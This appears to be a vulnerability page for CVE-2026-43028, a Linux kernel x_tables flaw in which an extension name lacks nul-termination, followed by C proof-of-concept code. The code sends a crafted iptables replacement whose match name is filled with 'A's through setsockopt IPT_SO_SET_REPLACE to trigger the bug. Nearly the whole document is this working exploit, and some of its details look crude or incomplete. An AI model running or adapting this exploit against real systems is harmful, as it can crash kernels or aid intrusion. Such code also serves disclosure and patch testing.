CVE-2026-43028 Linux内核x_tables名称未截断漏洞

/* * PoC for CVE-2026-43028: Linux kernel x_tables missing nul-termination * This code attempts to trigger the vulnerability by sending a specially crafted * iptables replacement entry where the match name is not null-terminated. * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <linux/netfilter_ipv4/ip_tables.h> #include <sys/socket.h> #include <linux/netlink.h> #define XT_EXTENSION_MAXNAMELEN 29 int main() { int sockfd; struct ipt_replace *repl; struct ipt_entry *entry; struct ipt_entry_match *match; size_t size; sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } // Allocate memory for the replacement structure size = sizeof(struct ipt_replace) + sizeof(struct ipt_entry) + sizeof(struct ipt_entry_match); repl = calloc(1, size); if (!repl) { perror("calloc"); close(sockfd); return 1; } // Setup basic replacement info strcpy(repl->name, "filter"); repl->valid_hooks = 0; repl->num_entries = 1; repl->size = size - sizeof(struct ipt_replace); repl->num_counters = 0; repl->counters = NULL; entry = (struct ipt_entry *)(repl->entries); entry->target_offset = sizeof(struct ipt_entry) + sizeof(struct ipt_entry_match); entry->next_offset = sizeof(struct ipt_entry) + sizeof(struct ipt_entry_match); match = (struct ipt_entry_match *)(entry->elems); // Fill the name with 'A's to remove the null terminator memset(match->u.user.name, 'A', XT_EXTENSION_MAXNAMELEN); match->u.user.match_size = sizeof(struct ipt_entry_match); // Attempt to set thesockopt to trigger the bug if (setsockopt(sockfd, IPPROTO_IP, IPT_SO_SET_REPLACE, repl, size) != 0) { perror("setsockopt"); printf("Failed to trigger vulnerability (might be patched or require perms).\n"); } else { printf("Payload sent successfully.\n"); } free(repl); close(sockfd); return 0; }